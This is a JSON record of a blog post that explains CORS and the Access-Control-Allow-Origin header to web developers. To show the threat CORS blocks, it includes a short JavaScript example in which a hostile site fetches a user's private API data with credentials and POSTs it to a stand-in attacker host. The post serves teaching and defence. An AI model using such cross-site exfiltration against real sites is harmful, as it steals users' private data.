{
  "$type": "site.standard.document",
  "content": {
    "$type": "site.standard.content.markdown",
    "text": "## A Summary\n\nCORS restrictions are a way of telling a user's browser that data should be protected from code running on a website, and asking the browser to place restrictions on that code to keep the data safe.\n\n## Understanding the problem\n\n_This section will explain the problem that CORS restrictions were invented to resolve. Feel free to skip this if you're happy that you understand why CORS is important._\n\nImagine you have a website, let's call it `example.com`. You want to load some data from your API. How would you do it?\n\nYou might decide to do something like this.\n\n```js\nconst data = await fetch(\"https://example.com/api/data\");\n```\n\nThis is great. Simple, and it works. Now let's imagine you add authentication. Let's say you implement some kind of API key. What would your fetch look like now?\n\n```js\nconst myToken = \"5Up3Rs3cr374PiK3Y\";\nconst data = await fetch(\"https://example.com/api/data\", {\n  headers: {\n    Authorization: \"Bearer \" + myToken,\n  },\n});\n```\n\nCool. That works nicely. But then I decide to set up some more complex authentication and everyone has their own token. Maybe it's just easier to store that as a cookie? That's going to make it a lot easier, because now I can do this again:\n\n```js\nconst data = await fetch(\"https://example.com/api/data\");\n```\n\nMy browser _automatically knows_ to attach cookies from `example.com` to every request.\n\nGreat, so now I'm cooking with gas, I can fetch data from my API super easily.\n\nBut now I decide that for some reason I need to move my API to a different server, and that server is going to be hosted at `api.example`.\n\nNow I can update my fetch to\n\n```js\nconst data = await fetch(\"https://api.example/api/data\");\n```\n\nAll good, users have to sign in again because the cookies from `example.com` don't get sent to `api.example`, but otherwise, everything is going smoothly.\nExcept wait, now someone has set up a site called `stolen-content.example`. I check their code, and they're just using my back-end for their own purposes!\n\n_How to protect your users from credential theft will be the topic of another post in future, but for now, please just assume that your backend is configured properly to stop your users' authentication cookies leaking._\n\nBut it gets worse, I find out that they're requesting data which is private for my users!:\n\n```js\nconst data = await fetch(\"https://api.example/api/my_users_secret_data\");\n```\n\nAnd my server is happily sending the data, because the user is sending a credentialled request!\n\nOh no, it's even worse than I thought... look at the next line:\n\n```js\nconst data = await fetch(\"https://api.example/api/my_users_secret_data\");\nconst json = await data.json();\nfetch(\"https://stolen_content.example/save_secret_data\", {\n  method: POST,\n  body: JSON.stringify(json),\n});\n```\n\nThey're saving our users' data to their own database! How can we stop them?!\n\n## CORS\n\nBrowser developers realised that the above problem is something that it's difficult for an application developer to stop. The browser is issuing a request with a legitimate cookie attached to it. How could the application know that it's being done with malicious intent? The real underlying problem here is that the end user, who is just trying to browse the internet is executing code on their browser that they don't understand, and that could be written by anyone.\n\nSo how do we protect users from the code that they're running? Enter CORS. Browser developers told application developers that they will implement some logic that application developers can rely on. The application developer can tell the browser where they want to allow their requests to come from. This is the `Access-Control-Allow-Origin` header.\n\nHere are some examples:\n\n```\nAccess-Control-Allow-Origin: *\n// This data can be requested by anyone\nAccess-Control-Allow-Origin: https://example.com\n// This data should only be requested by people browsing https://example.com\n```\n\nNow, if a user is on `stolen-content.example` and their browser requests data from my API, then their request will fail with a CORS error, and the code to steal the users' secret data will fail.\n\n_Note that all of this assumes that the user's browser properly respects the CORS header, and that we don't have to worry about the user using a compromised browser, and nor do we have to worry about the user trying to steal their own information. CORS only solves the problem of untrusted developers being allowed to run code on your computer through your browser, potentially with access to secret information._\n\n## Further reading\n\nCORS actually has some other sensible protections (for example, you can't use `Access-Control-Allow-Origin: *` with a credentialled request, you can tell the browser not to share headers or not to allow specific methods, etc.). I'd recommend you start with [the MDN docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin).",
    "version": "1.0"
  },
  "description": "CORS can seem like a super tricky and complex topic to wrap your head around, but in reality, it's not as hard as it appears.",
  "path": "/blog/cors-access-control-allow-origin-whut",
  "publishedAt": "2023-11-21T17:45:00.000Z",
  "site": "https://joeinn.es",
  "textContent": "A Summary\n\nCORS restrictions are a way of telling a user's browser that data should be protected from code running on a website, and asking the browser to place restrictions on that code to keep the data safe.\n\nUnderstanding the problem\n\nThis section will explain the problem that CORS restrictions were invented to resolve. Feel free to skip this if you're happy that you understand why CORS is important.\n\nImagine you have a website, let's call it . You want to load some data from your API. How would you do it?\n\nYou might decide to do something like this.\n\nThis is great. Simple, and it works. Now let's imagine you add authentication. Let's say you implement some kind of API key. What would your fetch look like now?\n\nCool. That works nicely. But then I decide to set up some more complex authentication and everyone has their own token. Maybe it's just easier to store that as a cookie? That's going to make it a lot easier, because now I can do this again:\n\nMy browser automatically knows to attach cookies from  to every request.\n\nGreat, so now I'm cooking with gas, I can fetch data from my API super easily.\n\nBut now I decide that for some reason I need to move my API to a different server, and that server is going to be hosted at .\n\nNow I can update my fetch to\n\nAll good, users have to sign in again because the cookies from  don't get sent to , but otherwise, everything is going smoothly.\nExcept wait, now someone has set up a site called . I check their code, and they're just using my back-end for their own purposes!\n\nHow to protect your users from credential theft will be the topic of another post in future, but for now, please just assume that your backend is configured properly to stop your users' authentication cookies leaking.\n\nBut it gets worse, I find out that they're requesting data which is private for my users!:\n\nAnd my server is happily sending the data, because the user is sending a credentialled request!\n\nOh no, it's even worse than I thought... look at the next line:\n\nThey're saving our users' data to their own database! How can we stop them?!\n\nCORS\n\nBrowser developers realised that the above problem is something that it's difficult for an application developer to stop. The browser is issuing a request with a legitimate cookie attached to it. How could the application know that it's being done with malicious intent? The real underlying problem here is that the end user, who is just trying to browse the internet is executing code on their browser that they don't understand, and that could be written by anyone.\n\nSo how do we protect users from the code that they're running? Enter CORS. Browser developers told application developers that they will implement some logic that application developers can rely on. The application developer can tell the browser where they want to allow their requests to come from. This is the  header.\n\nHere are some examples:\n\nNow, if a user is on  and their browser requests data from my API, then their request will fail with a CORS error, and the code to steal the users' secret data will fail.\n\nNote that all of this assumes that the user's browser properly respects the CORS header, and that we don't have to worry about the user using a compromised browser, and nor do we have to worry about the user trying to steal their own information. CORS only solves the problem of untrusted developers being allowed to run code on your computer through your browser, potentially with access to secret information.\n\nFurther reading\n\nCORS actually has some other sensible protections (for example, you can't use  with a credentialled request, you can tell the browser not to share headers or not to allow specific methods, etc.). I'd recommend you start with the MDN docs.",
  "title": "CORS: Access-Control-Allow-Origin whut?!",
  "updatedAt": "2023-11-21T17:45:00.000Z"
}